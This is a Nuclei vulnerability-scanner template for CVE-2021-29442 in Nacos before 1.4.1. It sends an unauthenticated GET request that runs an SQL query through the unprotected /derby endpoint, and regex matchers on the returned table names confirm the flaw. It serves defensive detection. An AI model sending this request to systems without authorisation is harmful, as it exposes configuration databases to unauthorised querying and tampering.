nuclei-templates/cves/2021/CVE-2021-29442.yaml

37 lines
1.7 KiB
YAML
Raw Normal View History

2021-04-28 05:01:34 +00:00
id: CVE-2021-29442
info:
name: Nacos prior to 1.4.1 Missing Authentication Check
author: dwisiswant0
severity: high
2021-04-28 05:01:34 +00:00
description: |
In Nacos before version 1.4.1, the ConfigOpsController lets the user perform management operations like querying the database or even wiping it out.
While the /data/remove endpoint is properly protected with the @Secured annotation, the /derby endpoint is not protected and can be openly accessed by unauthenticated users.
These endpoints are only valid when using embedded storage (derby DB) so this issue should not affect those installations using external storage (e.g. mysql)
reference:
- https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-29442
cwe-id: CWE-306
tags: nacos,auth-bypass,cve,cve2021
2021-04-28 05:01:34 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/nacos/v1/cs/ops/derby?sql=select+st.tablename+from+sys.systables+st"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "application/json"
part: header
- type: regex
regex:
- "\"TABLENAME\":\"(?:(?:(?:(?:(?:APP_CONFIGDATA_RELATION_[PS]UB|SYS(?:(?:CONGLOMERAT|ALIAS|(?:FI|RO)L)E|(?:(?:ROUTINE)?|COL)PERM|(?:FOREIGN)?KEY|CONSTRAINT|T(?:ABLEPERM|RIGGER)|S(?:TAT(?:EMENT|ISTIC)|EQUENCE|CHEMA)|DEPEND|CHECK|VIEW|USER)|USER|ROLE)S|CONFIG_(?:TAGS_RELATION|INFO_(?:AGGR|BETA|TAG))|TENANT_CAPACITY|GROUP_CAPACITY|PERMISSIONS|SYSCOLUMNS|SYS(?:DUMMY1|TABLES)|APP_LIST)|CONFIG_INFO)|TENANT_INFO)|HIS_CONFIG_INFO)\""
part: body